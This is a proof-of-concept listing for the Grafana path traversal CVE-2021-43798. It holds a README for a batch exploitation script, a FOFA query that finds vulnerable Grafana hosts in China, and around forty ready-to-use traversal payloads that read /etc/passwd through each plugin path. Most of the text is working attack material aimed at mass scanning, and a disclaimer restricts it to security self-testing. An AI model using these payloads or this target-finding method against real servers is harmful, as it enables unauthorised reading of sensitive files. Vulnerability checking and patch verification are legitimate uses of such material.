CVE-2021-43798 PoC — Grafana path traversal

Source

https://github.com/asaotomo/CVE-2021-43798-Grafana-Exp

Associated Vulnerability

Title:Grafana path traversal (CVE-2021-43798)
Description:Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: `<grafana_host_url>/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline.

Description

Grafanav8.*版本任意文件读取漏洞批量检测工具：该漏洞目前为0day漏洞，未授权的攻击者利用该漏洞，能够获取服务器敏感文件。

Readme

### Grafana V8.*任意文件读取Exp--批量验证脚本

## 漏洞描述

Grafana是一个开源的度量分析与可视化套件。经常被用作基础设施的时间序列数据和应用程序分析的可视化，它在其他领域也被广泛的使用包括工业传感器、家庭自动化、天气和过程控制等。其 8.*版本任意文件读取漏洞，该漏洞目前为0day漏洞，未授权的攻击者利用该漏洞，能够获取服务器敏感文件。

## FOFA语法

app="Grafana" && country="CN" && body="v8."

## 使用方法

```
1.将准备检测的IP地址放入ip.txt文件中
2.运行python3 exp.py
```
<img width="915" alt="image" src="https://user-images.githubusercontent.com/67818638/145044157-a53b37d9-25cc-4fc4-9308-a36335292a86.png">

## PAYLOAD

```
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stackdriver/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd
```

<img width="952" alt="image" src="https://user-images.githubusercontent.com/67818638/145044205-ee3d3528-91ff-48a5-b96e-02db62237930.png">

## 注意事项
本工具仅提供给安全测试人员进行安全自查使用 用户滥用造成的一切后果与作者无关 使用者请务必遵守当地法律 本程序不得用于商业用途，仅限学习交流

<img width="318" alt="iShot2021-12-23 15 42 05" src="https://user-images.githubusercontent.com/67818638/147206731-4a908416-b289-4b25-b7f0-da3ddf4adbda.png">

File Snapshot


 [4.0K]  /data/pocs/a9c319ac613d3a3dd2b5f535a667b59ce22698dd
├── [3.8K]  exp.py
├── [  54]  ip.txt
└── [3.6K]  README.md

0 directories, 3 files

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